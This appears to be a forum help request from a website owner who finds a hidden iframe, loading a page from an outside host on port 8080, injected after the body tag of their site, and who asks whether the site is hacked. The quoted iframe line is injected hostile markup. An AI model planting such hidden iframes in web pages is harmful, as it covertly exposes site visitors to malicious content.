i am facing a problem, but i am not able to find out the reason and how i can permanently sort out it.
<iframe src="http://uppd.in:8080/index.php" width=178 height=113 style="visibility: hidden"></iframe>
the above line appears in my code automatically after <body> tag. and because of hidden frame a space appear at top of the page and all of view disturbs due to this iframe. what its coming? Is some one try to hack my site? how can i resolve it?
